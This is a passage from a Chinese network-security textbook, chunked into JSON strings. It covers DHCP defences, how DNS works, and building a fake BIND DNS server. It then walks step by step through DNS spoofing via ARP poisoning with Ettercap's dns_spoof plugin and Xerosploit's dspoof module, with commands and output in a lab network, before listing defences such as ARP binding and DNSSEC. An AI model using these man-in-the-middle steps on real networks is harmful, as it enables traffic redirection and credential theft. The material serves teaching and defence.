ip dhcp snopping #显示DHCP探测状态 执行以上命令后，即可显示DHCP Snopping的配置信息。 未知 3.5.2 启用Port-Security功能 Port-Security特性记住的是连接到交换机端口的以太网MAC地址（即网卡号），并只允许某个MAC地址通过本端口通信。假如任何其他MAC地址试图通过此端口通信，Port-Security特性会阻止它。使用Port-Security特性可以防止某些设备访问网络，并增强安全性。因此，用户可以通过启用Port-Security功能来防止DHCP耗尽攻击。 配置Port-Security特性是相对比较简单的。最简单的形式就是Port Security指向一个已经启用的端口，并输入Port Security接口模式命令。执行命令如下： Switch)# config t Switch# int fa0/18 Switch# switchport port-security aging Port-security aging commands mac-address Secure mac address maximum Max secure addresses violation Security violation mode Switch# switchport port-security Switch#^Z 以上就是简单地配置了一个Port-Security特性，只允许第一个设备的MAC地址与这个端口通信。如果另一个MAC地址试图通过此端口通信，交换机会关闭此端口。"},
    {"text": "未知 3.5.3 设置静态地址 对于家庭或小型的公司网络，用户可以通过设置静态地址来防止DHCP耗尽攻击。下面将分别介绍在Windows、Linux和路由器上设置静态地址的方法。 1.在Windows上设置静态地址 【实例3-6】 在Windows 10上设置静态地址。具体操作步骤如下： （1）右击桌面上的“网络”图标，并在弹出的快捷菜单中选择“属性”命令，打开“网络和共享中心”窗口，如图3.21所示。 图3.21 “网络和共享中心”窗口 （2）选择“更改适配器设置”选项卡，将打开“网络连接”窗口，如图3.22所示。 图3.22 “网络连接”窗口 （3）右击“以太网”接口，在弹出的快捷菜单中选择“属性”命令，打开“以太网属性”对话框，如图3.23所示。 （4）选择“Internet协议版本4(TCP/IPv4)”复选框，并单击“属性”按钮，将打开“Internet协议版本4(TCP/IPv4)属性”对话框，如图3.24所示。 图3.23 “以太网属性”对话框 图3.24 “Internet协议版本4(TCP/IPv4)属性”对话框 （5）选择“使用下面的IP地址”单选按钮，并设置IP地址、子网掩码和默认网关。设置完成后，依次单击“确定”按钮。 2.在Linux中设置静态地址 在Kali Linux中，网络接口的配置文件为/etc/network/interfaces。这里通过修改该配置文件，来为其接口设置静态地址。打开该配置文件，内容如下： root@daxueba:~# vi /etc/network/interfaces # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). source /etc/network/interfaces.d/* # The loopback network interface auto lo iface lo inet loopback 这里将为eth0接口设置静态地址，并且设置地址为192.168.1.1。此时，在文件末尾添加以下内容： iface eth0 inet static address 192.168.1.1 netmask 255.255.255.0 gateway 192.168.1.1 添加以上内容后，保存并退出/etc/network/interfaces配置文件的编辑界面。接下来，还需要重新启动网络服务，才可以使设置生效。执行命令： root@daxueba:~# service networking restart 此时，用户可以使用ifconfig命令查看其网络配置信息，结果如下： root@daxueba:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 ether 00:0c:29:0b:6e:bf txqueuelen 1000 (Ethernet) RX packets 4307 bytes 452769 (442.1 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1166883 bytes 338174605 (322.5 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 169 bytes 11808 (11.5 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 169 bytes 11808 (11.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 从输出的信息中可以看到，已成功为eth0接口设置了静态地址，其地址为192.168.1.1。 在Linux中，用户也可以使用ifconfig命令设置静态地址，但是重新启动后就失效了。其中，执行的命令如下： root@daxueba:~# ifconfig eth0 192.168.1.1 255.255.255.0 或者 root@daxueba:~# ifconfig eth0 192.168.1.1/24 3.在路由器中设置静态 在大部分的家用路由器中，都可以设置静态地址。下面将以TP-LINK路由器为例，介绍设置静态地址的方法。 【实例3-7】 在TP-LINK路由器中设置静态地址。具体操作步骤如下： （1）登录路由器。 （2）在左侧列表中依次选择“DHCP服务器”|“静态地址分配”选项，将打开“静态地址分配”对话框，如图3.25所示。 图3.25 静态地址分配 （3）在“静态地址分配”对话框中可以看到，没有添加任何的静态地址条目。此时，单击“添加新条目”按钮，可以设置静态地址，如图3.26所示。 图3.26 设置静态IP地址 （4）在“MAC地址”文本框和“IP地址”文本框中分别输入要指定网络接口的MAC地址和IP地址。设置完成后，单击“保存”按钮，将弹出如图3.27所示的对话框。 图3.27 提示对话框 （5）该对话框提示用户需要重新启动路由器，才可以使设置生效。单击“确定”按钮，在“静态地址分配”对话框中将看到添加的静态地址条目，如图3.28所示。 图3.28 添加的静态地址条目 （6）此时，用户还可以对添加的条目进行“编辑”和“删除”。如果确定添加的条目没问题，则重新启动路由器，使设置生效。 未知 第4章 DNS攻击及防御 域名系统（Domain Name System，DNS）在互联网中是一个非常重要的协议。它属于TCP/IP，是一个分层结构的分布式模块，包含域名的相关信息。DNS主要负责在网络上映射域名到它们各自的IP地址上。使用DNS后，用户只要记住网站域名即可，而不用记忆抽象的IP地址。通过实施DNS攻击，可以将目标主机诱骗到一个虚假的网站，进而实现网络欺骗。本章将介绍实施DNS攻击的方法。 未知 4.1 DNS工作机制 DNS攻击是一种非常危险的中间人攻击，它容易被攻击者利用来窃取目标主机的机密信息。在进行DNS攻击时，攻击者可以利用一个漏洞来伪造网络流量。因此，要理解DNS攻击，必须理解DNS是怎样工作的。本节将介绍DNS的工作原理及攻击原理。"},
    {"text": "未知 4.1.1 DNS工作原理 为了方便理解DNS的工作原理，这里做了一个客户端请求DNS服务器域名的简图（图4.1）。 假设用户要访问www.baidu.com，具体流程如下： （1）客户端先向本地DNS服务器发出DNS请求，查询www.baidu.com的IP地址。 （2）如果本地DNS服务器没有在自己的DNS缓存表中发现该网址的记录，就会向根DNS服务器发起查询。 （3）根DNS服务器收到请求后，将com域DNS服务器的地址返回给本地DNS服务器。本地DNS服务器则继续向com域DNS服务器发出查询请求，com域DNS服务器将baidu.com DNS服务器的地址返回给本地DNS服务器。 （4）本地DNS服务器继续向baidu.com DNS服务器发起查询，得到www.baidu.com的IP地址，然后以DNS应答包的方式传递给用户，并且在本地建立DNS缓存表。 图4.1 DNS的工作原理 未知 4.1.2 DNS攻击原理 尽管DNS在互联网中扮演着重要的角色，但是在设计DNS协议时，设计者没有考虑到DNS响应的真实性问题，导致DNS存在安全隐患与缺陷。DNS攻击就是利用了DNS协议设计时的一个非常严重的安全缺陷。下面介绍DNS攻击的两种原理。 1.伪造DNS应答包 首先，攻击者向目标主机发送构造好的ARP应答包。ARP欺骗成功后，攻击者嗅探到目标主机发出的DNS请求包，分析其中的数据包并取得ID和端口号，然后向目标主机发送自己构造好的一个DNS应答包。目标主机收到该DNS应答包后，发现ID和端口号全部正确，即把应答包中的域名和对应的IP地址保存到DNS缓存表中，而真实的DNS应答包则被丢弃。DNS攻击的工作原理如图4.2所示。 使用DNS攻击，攻击者将截取会话，然后转移到一个假网站的会话。例如，用户希望访问www.google.com，而谷歌的IP地址为173.194.35.37，攻击者就可以使用DNS攻击拦截会话，并将用户重定向到假冒的网站，而假网站的IP地址可以为任意IP地址。 2.伪造DNS服务器 如果已经通过DHCP攻击为目标主机分配了IP地址，就可以将目标主机请求的DNS服务器设置为攻击者自己搭建的DNS服务器。这样目标主机的所有DNS请求均由攻击者搭建的DNS服务器进行响应，从而被引导到虚假网站，实现基于DNS的中间人攻击。 图4.2 DNS攻击的工作原理 未知 4.2 搭建DNS服务 当用户对DNS的工作机制了解清楚后，就可以搭建DNS服务了。如果目标主机通过伪DHCP服务获取地址的话，也会获取对应的DNS服务器地址。因此，攻击者需要在攻击主机上搭建伪DNS服务，对目标主机进行域名解析。本节将介绍搭建DNS服务的方法。 未知 4.2.1 安装DNS服务 在Kali Linux的软件源中提供了DNS服务的安装包，因此用户可以使用apt-get命令安装DNS服务。执行命令： root@daxueba:~# apt-get install bind9 如果没有报错，则说明DNS服务安装完成。 未知 4.2.2 配置DNS服务 当用户成功安装DNS服务后，还需要进行相关配置，才可以实现域名解析。在Kali Linux中，DNS服务默认的安装位置是/etc/bind。这里主要有三个配置文件，分别介绍如下。 1.主配置文件named.conf.local 在Kali Linux中，DNS的主配置文件为/etc/bind/named.conf.local。在该文件中指定请求的域名地址，执行命令： root@daxueba:~# vi /etc/bind/named.conf.local zone \"test.com\" { #客户端请求的域名地址 type master; #配置为主DNS服务器 file \"/etc/bind/www.test.com\"; #配置文件位置，需要自己创建 }; zone \"0.168.192.in-addr.arpa\" { #反向解析的地址，注意这里的地址是反方向写的 type master; file \"/etc/bind/192.168.arpa\"; }; 这里分别配置了一个正向解析地址和反向解析地址。接下来，分别创建并配置以上信息中指定的文件。 2.正向区域文件 在主配置文件中，指定的正向区域文件为www.test.com，这里创建该文件，其配置信息如下： root@daxueba:/etc/bind# vi www.test.com $TTL 604800 @ IN SOA test.com. admin.test.com. ( #序列号，DNS服务器修改过一次序列号加1 20040121 ; Serial 604800 ; Refresh #刷新时间 86400 ; Retry #重试时间 2419200 ; Expire #过期时间 604800 ) ; Negative Cache TTL @ IN NS www.test.com. @ IN A 192.168.0.112 @ IN MX 10 mail.test.com. www IN A 192.168.0.112 mail IN A 192.168.0.100 从以上信息可以看出，配置了两个主机地址。其中，这两个主机分别是www.test.com和mail.test.com。 3.反向区域文件 在主配置文件中指定的反向区域文件为192.168.arpa，这里创建该文件，其配置信息如下： root@daxueba:/etc/bind# vi 192.168.arpa $TTL 604800 @ IN SOA test.com. admin.test.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL IN NS www.test.com. 112 IN PTR www.test.com. 100 IN PTR mail.test.com. 在该文件中指定了反向解析的IP地址所对应的域名内容。此时，DNS服务就配置好了。"},
    {"text": "未知 4.2.3 启动DNS服务 通过前面的配置，DNS服务就配置好了。但是，用户还需要在/etc/resolv.conf文件中指定域名服务器地址，才可以使用该DNS服务器进行域名解析。执行命令： root@daxueba:~# vi /etc/resolv.conf # Generated by NetworkManager nameserver 192.168.0.112 在该配置文件中指定域名服务器地址，然后保存并退出。接下来，用户还需要启动DNS服务器。执行命令： root@daxueba:~# service bind9 start 执行以上命令后，将不会输出任何信息。要确定DNS服务是否成功启动，可以查看其状态。执行命令，输出如下信息： root@daxueba:~# service bind9 status ● bind9.service - BIND Domain Name Server Loaded: loaded (/lib/systemd/system/bind9.service; disabled; vendor preset: disabled) Active: active (running) since Thu 2018-07-12 18:29:24 CST; 2s ago Docs: man:named(8) Main PID: 5117 (named) Tasks: 7 (limit: 2326) Memory: 15.5M CGroup: /system.slice/bind9.service └─5117 /usr/sbin/named -f -u bind 从输出的信息中可以看到，Active状态显示为active (running)。由此可知，该服务已启动。如果没有启动，显示的信息如下： root@daxueba:~# service bind9 status ● bind9.service - BIND Domain Name Server Loaded: loaded (/lib/systemd/system/bind9.service; disabled; vendor preset: disabled) Active: inactive (dead) Docs: man:named(8) 从输出的信息中可以看到，Active状态显示为inactive (dead)，说明服务没有运行。 DNS服务默认监听的端口是53。用户也可以通过查看监听的端口，判断该服务是否成功启动。执行命令，输入如下信息： root@daxueba:~# netstat -anptul | grep 53 tcp 0 0 192.168.0.112:53 0.0.0.0:* LISTEN 5220/named tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 5220/named tcp6 0 0 :::53 :::* LISTEN 5220/named udp 0 0 192.168.0.112:53 0.0.0.0:* 5220/named udp 0 0 127.0.0.1:53 0.0.0.0:* 5220/named udp6 0 0 :::53 :::* 5220/named 从输出的信息中可以看到，端口号53已被监听。由此可知，DNS服务已启动。接下来，用户就可以使用该DNS服务进行域名解析了。 提示： 在创建伪DHCP服务时，如果还要实施DNS攻击，就需要将DNS服务器配置项设置为伪DNS服务器地址。 【实例4-1】 使用伪DNS服务器进行正向域名解析。执行命令： root@kali:~# nslookup > www.test.com Server: 192.168.0.112 Address: 192.168.0.112#53 Name: www.test.com Address: 192.168.0.112 > mail.test.com Server: 192.168.0.112 Address: 192.168.0.112#53 Name: mail.test.com Address: 192.168.0.100 从输出的信息中可以看到，已成功解析出域名www.test.com和mail.test.com的IP地址，分别是192.168.0.112和192.168.0.100。 【实例4-2】 使用伪DNS服务器进行反向解析。执行命令： root@kali:~# nslookup > 192.168.0.112 112.0.168.192.in-addr.arpa name = www.test.com. > 192.168.0.100 100.0.168.192.in-addr.arpa name = mail.test.com. 从输出信息中可以看到，IP地址192.168.0.112对应的域名为www.test.com，IP地址192.168.0.100对应的域名为mail.test.com。由此可知，DNS服务器启动成功。 未知 4.3 实施DNS攻击 当用户对DNS攻击的原理了解后，就可以实施DNS攻击了。本节将介绍使用各种工具实施DNS攻击的方法。"},
    {"text": "其中，用于实施DNS攻击的插件为dns_spoof。 下面将介绍使用dns_spoof插件对目标主机实施DNS攻击的方法。 【实例4-3】 使用Ettercap工具实施DNS攻击。"},
    {"text": "其中，Ettercap工具默认的DNS配置文件为/etc/ettercap/etter.dns。 该文件默认的配置如下： root@daxueba:~# vi /etc/ettercap/etter.dns ################################ # microsoft sucks ;) # redirect it to www.linux.org # microsoft.com A 107.170.40.56 *.microsoft.com A 107.170.40.56 www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed 该文件默认定义了三个域名，攻击主机地址为107.170.40.56。"},
    {"text": "这里需要将目标主机欺骗到攻击主机，则添加的DNS记录如下： * A 192.168.0.112 （4）使用Ettercap工具发起ARP攻击，并启动dns_spoof插件即可实施DNS攻击。"},
    {"text": "执行命令： root@daxueba:~# ettercap -G 执行以上命令后，将打开ettercap 0.8.2窗口，如图4.4所示。 图4.4 Ettercap 0.8.2窗口 （5）在该窗口中依次选择Sniff|Unified sniffing…命令，弹出ettercap Input对话框，如图4.5所示。 图4.5 ettercap Input对话框 （6）在该对话框中选择网络接口，这里选择“eth0”选项。 单击“确定”按钮，将返回Ettercap 0.8.2窗口，如图4.6所示。"},
    {"text": "此时，在图4.6所示的窗口中依次选择Hosts|Hosts list命令，在打开的Host List选项卡中查看扫描到的主机，如图4.8所示。 图4.6 设置网络接口后的窗口 图4.7 扫描主机 图4.8 主机列表 （9）选择要攻击的目标主机。"},
    {"text": "这里选择主机192.168.0.114作为目标1，网关192.168.0.1作为目标2。 因此，Host List选项卡上方的列表框中选择192.168.0.114选项，单击Add to Target 1按钮，选择192.168.0.1选项，单击Add to Target 2按钮，添加目标主机。 添加成功后，在Host List选项卡下方的列表框中可以看到添加的主机，如图4.9所示。 图4.9 添加的目标主机 （10）在菜单栏中依次选择Start|Start sniffing命令，启动嗅探。"},
    {"text": "然后，在菜单栏中依次选择Mitm|ARP poisoning…命令，将弹出如图4.10所示的对话框。 图4.10 MITM Attack:ARP Poisoning对话框 （11）在该对话框中选择Sniff remote connections.复选框，并单击“确定”按钮，将看到如图4.11所示的信息。"},
    {"text": "图4.12 Plugins选项卡 （13）在Plugins选项卡上方的列表中双击dns_spoof选项，即可激活dns_spoof插件。 当dns_spoof插件被激活后，插件名前面将出现一个星号，并且在下方的列表框中出现“Activating dns_spoof plugin…”信息，如图4.13所示。 图4.13 dns_spoof插件已激活 （14）此时，攻击主机已成功向目标主机发起了DNS攻击。"},
    {"text": "执行的命令如下： root@daxueba:~# ettercap -Tq -P dns_spoof -M arp /192.168.0.114// /192.168. 0.1// ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0B:6E:B5 192.168.0.112/255.255.255.0 fe80::20c:29ff:fe0b:6eb5/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 4 hosts added to the hosts list... ARP poisoning victims: #ARP攻击 GROUP 1 : 192.168.0.114 00:0C:29:21:8C:96 GROUP 2 : 192.168.0.1 C8:3A:35:5D:2B:90 Starting Unified sniffing... #开始嗅探 Text only Interface activated... Hit 'h' for inline help Activating dns_spoof plugin... #激活dns_spoof插件 看到以上输出信息，就表明已经成功对目标主机发起了ARP攻击。"},
    {"text": "此时，当目标主机访问任意网站时，将显示如下所示的信息： dns_spoof: A [www.baidu.com] spoofed to [192.168.0.112] dns_spoof: A [www.baidu.com] spoofed to [192.168.0.112] dns_spoof: A [www.baidu.com] spoofed to [192.168.0.112] dns_spoof: A [api.bing.com] spoofed to [192.168.0.112] dns_spoof: A [www.bing.com] spoofed to [192.168.0.112] 从输出的信息中可以看到，用户访问所有网站时都被欺骗到攻击主机192.168.0.112。"},
    {"text": "执行命令： root@kali:~# git clone https://github.com/LionSec/xerosploit 正克隆到 'xerosploit'... #下载到xerosploit目录 remote: Enumerating objects: 291, done. remote: Total 291 (delta 0), reused 0 (delta 0), pack-reused 291 接收对象中: 100% (291/291), 788.97 KiB | 78.00 KiB/s, 完成. 处理 delta 中: 100% (60/60), 完成. 从输出的信息中可以看到，Xerosploit工具的存储库被保存到xerosploit目录中。"},
    {"text": "（2）安装Xerosploit工具。 首先进入Xerosploit工具的存储库文件目录中，执行install.py脚本进行安装。 执行命令如下： root@kali:~# cd xerosploit/ root@kali:~/xerosploit# python install.py ┌═════════════════════════════┐ █ █ █ Xerosploit Installer █ █ █ └═════════════════════════════┘ [++] Please choose your operating system. 1) Ubuntu / Kali linux / Others 2) Parrot OS >>> 1 以上输出信息要求选择安装的操作系统。"},
    {"text": "输出信息如下： [++] Installing Xerosploit ... 获取:1 http://mirrors.neusoft.edu.cn/kali kali-rolling InRelease [30.5 kB] 获取:2 http://mirrors.neusoft.edu.cn/kali kali-rolling/contrib Sources [59.0 kB] 获取:3 http://mirrors.neusoft.edu.cn/kali kali-rolling/main Sources [12.2 MB] 获取:4 http://mirrors.neusoft.edu.cn/kali kali-rolling/main amd64 Packages [16.5 MB] 获取:5 http://mirrors.neusoft.edu.cn/kali kali-rolling/contrib amd64 Packages [97.6 kB] 已下载 28.9 MB，耗时 59秒 (493 kB/s) 正在读取软件包列表... 完成 正在读取软件包列表... 完成 正在分析软件包的依赖关系树 正在读取状态信息... 完成 build-essential 已经是最新版 (12.5)。"},
    {"text": "下列软件包是自动安装的并且现在不需要了： …//省略部分内容//… Installing ri documentation for network_interface-0.0.2 Parsing documentation for pcaprub-0.13.0 Installing ri documentation for pcaprub-0.13.0 Parsing documentation for packetfu-1.1.13 Installing ri documentation for packetfu-1.1.13 Parsing documentation for colorize-0.8.1 Installing ri documentation for colorize-0.8.1 Parsing documentation for xettercap-1.5.7xerob Installing ri documentation for xettercap-1.5.7xerob Done installing documentation for em-proxy, timers, net-dns, network_ interface, pcaprub, packetfu, colorize, xettercap after 7 seconds 8 gems installed Xerosploit has been sucessfuly instaled. Execute 'xerosploit' in your terminal. 以上输出信息显示了安装Xerosploit工具依赖的包。"},
    {"text": "执行命令： root@kali:~# xerosploit [+]════[ Author : @LionSec1 _-\\|/-_ Website: lionsec.net ]═════[+] [ Powered by Bettercap and Nmap ] ┌══════════════════════════════════════┐ █ █ █ Your Network Configuration █ █ █ └═══════════════════════════════════════┘ ╒═══════╤══════════╤═══════╤════╤═══════╕ │ IP Address │ MAC Address │ Gateway │ Iface │ Hostname │ ╞═══════╪══════════╪═══════╪════╪═══════╡ ├───────┼──────────┼───────┼────┼───────┤ │192.168.0.112│ 00:0C:29:0B:6E:B5 │ 192.168.0.1 │ eth0 │ kali │ ╘═══════╧══════════╧═══════╧════╧═══════╛ ╔═══════╦═════════════════════════════════╗ ║ ║ XeroSploit is a penetration testing toolkit whose goal is to║ ║ Information║ perform man in the middle attacks for testing purposes.║ ║ ║ It brings various modules that allow to realise efficient attacks.║ ║ ║ This tool is Powered by Bettercap and Nmap. ║ ╚═══════╩═════════════════════════════════╝ [+] Please type 'help' to view commands. Xero ➮ 出现提示符“Xero➮”，表示成功启动了Xerosploit工具。"},
    {"text": "输入help，输出的信息如下： Xero ➮ help ╔══════╦═════════════════════════════════╗ ║ ║ ║ ║ ║ scan : Map your network. ║ ║ ║ ║ ║ ║ iface : Manually set your network interface. ║ ║ COMMANDS ║ ║ ║ ║ gateway : Manually set your gateway. ║ ║ ║ ║ ║ ║ start : Skip scan and directly set your target IP address.║ ║ ║ ║ ║ ║ rmlog : Delete all xerosploit logs. ║ ║ ║ ║ ║ ║ help : Display this help message. ║ ║ ║ ║ ║ ║ exit : Close Xerosploit. ║ ║ ║ ║ ╚══════╩═════════════════════════════════╝ [+] Please type 'help' to view commands. Xero ➮ 从输出的信息中可以看到支持的所有命令。"},
    {"text": "输入scan，输出的信息如下： Xero ➮ scan [++] Mapping your network ... [+]════════[ Devices found on your network ]═════════[+] ╔═════════╦═══════════╦═════════════════╗ ║ IP Address ║ Mac Address ║ Manufacturer ║ ╠═════════╬═══════════╬═════════════════╣ ║ 192.168.0.1 ║ C8:3A:35:5D:2B:90 ║ (Tenda Technology) ║ ║ 192.168.0.102 ║ 1C:77:F6:60:F2:CC ║ (Guangdong OppoMobile ║ ║ 192.168.0.106 ║ 00:0C:29:9C:21:97 ║ (VMware) ║ ║ 192.168.0.107 ║ 1C:6F:65:C8:4C:89 ║ (Giga-byte Technology) ║ ║ 192.168.0.114 ║ 00:0C:29:21:8C:96 ║ (VMware) ║ ║ 192.168.0.112 ║ 00:0C:29:0B:6E:B5 ║ (This device) ║ ║ ║ ║ ║ ╚═════════╩═══════════╩═════════════════╝ [+] Please choose a target (e.g. 192.168.1.10). Enter 'help' for more information. 从输出的信息中可以看到当前局域网中的所有活动主机。"},
    {"text": "这里指定192.168.0.114为目标主机，输出信息如下： Xero ➮ 192.168.0.114 [++] 192.168.0.114 has been targeted. [+] Which module do you want to load ? Enter 'help' for more information. Xero»modules ➮ 从输出的信息中可以看到，已成功指定目标主机192.168.0.114。"},
    {"text": "输入help，输出的信息如下： Xero»modules ➮ help ╔═════╦═══════════════════════════════════╗ ║ ║ ║ ║ ║ pscan : Port Scanner ║ ║ ║ ║ ║ ║ dos : DoS Attack ║ ║ ║ ║ ║ ║ ping : Ping Request ║ ║ ║ ║ ║ ║ injecthtml : Inject Html code ║ ║ ║ ║ ║ ║ injectjs : Inject Javascript code ║ ║ ║ ║ ║ ║ rdownload : Replace files being downloaded ║ ║ ║ ║ ║ ║ sniff : Capturing information inside network packets ║ ║ MODULES ║ ║ ║ ║ dspoof : Redirect all the http traffic to the specified one IP ║ ║ ║ ║ ║ ║ yplay : Play background sound in target browser ║ ║ ║ ║ ║ ║ replace : Replace all web pages images with your own one ║ ║ ║ ║ ║ ║ driftnet : View all images requested by your targets ║ ║ ║ ║ ║ ║ move : Shaking Web Browser content ║ ║ ║ ║ ║ ║ deface : Overwrite all web pages with your HTML code ║ ║ ║ ║ ╚═════╩═══════════════════════════════════╝ [+] Which module do you want to load ? Enter 'help' for more information. 从输出信息中可以看到支持的所有模块及其对应的功能。"},
    {"text": "本例中要实施DNS攻击，所以选择使用dspoof攻击模块。 （5）加载dspoof攻击模块。 输入dspoof，输出的信息如下： Xero»modules ➮ dspoof ┌═══════════════════════════════════════┐ █ █ █ DNS spoofing █ █ █ █ Supply false DNS information to all target browsed hosts █ █ Redirect all the http traffic to the specified one IP █ └═══════════════════════════════════════┘ [+] Enter 'run' to execute the 'dspoof' command. Xero»modules»dspoof ➮ 从输出的信息中可以看到，已成功加载了dspoof攻击模块。 此时，使用run命令，即可运行dspoof攻击模块。 （6）运行dspoof攻击模块。 输入run，输出的信息如下： Xero»modules»dspoof ➮ run [+] Enter the IP address where you want to redirect the traffic. Xero»modules»dspoof ➮ 看到以上输出信息，就表明已成功启动了dspoof攻击模块。"},
    {"text": "执行命令如下： Xero»modules»dspoof ➮ 192.168.0.112 [++] Redirecting all the traffic to 192.168.0.112 ... [++] Press 'Ctrl + C' to stop . 从输出的信息中可以看到，所有的流量都将被重定向到主机192.168.0.112。"},
    {"text": "例如，在目标主机访问www.baidu.com网站时，将显示如图4.15所示的页面。 图4.15 访问结果 （8）从该页面可以看到，用户访问的是www.baidu.com网站，但显示的是Apache服务的默认页面。"},
    {"text": "未知 4.4 防御策略 DNS攻击是很难防御的，因为这种攻击大多数本质上都是被动的。通常情况下，除非发生攻击，否则用户不可能知道自己的DNS已经被欺骗，只是打开的网页与用户想要看到的网页有所不同。在很多针对性的攻击中，用户都无法知道自己已经将网上银行账号、信箱输入到错误的网址，直到被银行告知其账号已购买某高价商品时才会知道。不过，通过借助一些安全策略，还是可以加强其安全性的。本节将介绍几个针对DNS攻击的防御措施。 未知 4.4.1 绑定IP地址和MAC地址 DNS攻击的前提也是ARP欺骗成功。因此，做好对ARP欺骗攻击的防范，也就使得DNS攻击无从下手了。因此，用户也可以使用MAC地址和IP地址静态绑定来防御DNS攻击的发生。因为每个网卡的MAC地址具有唯一性质，所以可以把DNS服务器的MAC地址与其IP地址绑定。 对于大部分主机来说，都是使用路由器来提供DNS服务的，所以要对路由器（网关）进行IP地址和MAC地址绑定。此绑定信息存储在客户端网卡存储器中。当客户端每次向DNS服务器发出查询申请时，就会检测DNS服务器响应的应答包中的MAC地址是否与存储器中的MAC地址相同。如果不同，则很有可能该网络中的DNS服务器受到DNS攻击。这种方法有一定的不足，因为如果局域网内部的其他客户端也保存了DNS服务器的MAC地址，就可以利用MAC地址进行伪装欺骗攻击。 绑定网关的IP地址和MAC地址。执行命令： root@daxueba:~# arp -s 192.168.0.1 c8:3a:35:5d:2b:90 未知 4.4.2 直接使用IP地址访问 对个别信息安全等级要求十分严格的Web站点尽量不要使用DNS进行解析。大部分DNS攻击的目的都是窃取用户的私密数据。因此，当访问需要严格保密信息的站点时，可以直接使用IP地址访问。这样，就可以避免DNS攻击。 未知 4.4.3 不要依赖DNS服务 在高度敏感和安全的系统中，用户通常不会在这些系统上浏览网页，所以最好也不要使用DNS服务。如果用户有软件依赖于主机名来运行，那么可以在设备主机文件里手动指定。其中，Linux系统的HOSTS文件保存在/etc/hosts中；Windows的HOSTS文件保存在C:\\windows\\system32\\drivers\\etc中。其格式为每行一条记录，即“IP地址域名”，如下： 111.13.100.91 www.baidu.com 未知 4.4.4 对DNS应答包进行检测 在DNS攻击中，客户端会接收到真实的应答包，也会接收到虚假的应答包，即攻击应答包。攻击应答包为了能抢在真实应答包之前返回给客户端，它的信息数据结构与真实应答包相比十分简单，只有应答域，而不包括授权域和附加域。因此，可以遵循相应的原则和模型算法监测DNS应答包并对其进行分辨，从而避免虚假应答包的攻击。 未知 4.4.5 使用入侵检测系统 只要正确部署和配置，使用入侵检测系统就可以检测出大部分形式的ARP欺骗和DNS攻击。 未知 4.4.6 优化DNS服务 对于DNS服务进行优化，可以提升DNS的安全性，避免大多数的DNS攻击。常见的措施有以下几种： ·对不同的子网使用物理上隔离的DNS服务，从而获得DNS功能的冗余。 ·将外部和内部DNS服务从物理上隔离，并使用Forwarders转发器。外部DNS服务可以进行任何客户端的申请查询，但Forwarders不能，Forwarders被设置成只能接待内部客户端的申请查询。 ·采用技术措施限制DNS动态更新。 ·将区域传送（Zone Transfer）限制在授权设备上。 ·利用事务签名对区域传送和区域更新进行数字签名。 ·隐藏服务器上的Bind版本。 ·删除运行在DNS服务器上的不必要服务，如FTP、TELNET和HTTP。 ·在网络外围和DNS服务器上使用防火墙，将访问限制在那些DNS功能需要的端口上。 未知 4.4.7 使用DNSSEC DNSSEC是替代DNS的新标准。它使用数字签名的DNS记录来确保查询响应的有效性。在不同子网的文件数据传输中，为了防止窃取或篡改信息事件发生，可以使用任务数字签名（TSIG）技术。该技术在主从DNS服务器中使用相同的密码和数学模型算法，在数据通信过程中进行辨别和确认。因为有密码进行校验的机制，所以主从服务器的身份极难被伪装，从而加强了域名信息传递的安全性。 未知 第5章 LLMNR/NetBIOS攻击及防御 LLMNR是一种使用DNS报文格式的名称解析协议。它可以对本地链路上的IPv4和IPv6地址同时进行解析。NetBIOS提供了OSI模型中的会话层服务，让在不同计算机上运行的不同程序，可以在局域网中进行通信。NetBIOS和LLMNR是Microsoft针对工作组和域设计的名称解析协议和服务，主要用于局域网中的名称解析。当DNS解析失败时，Windows系统会使用NetBIOS和LLMNR进行名称解析。在Windows中，LLMNR和NetBIOS服务默认已经启用。因此，渗透测试人员可以利用LLMNR/NetBIOS攻击来收集用户信息。本章将介绍实施LLMNR/NetBIOS攻击的方法。"},
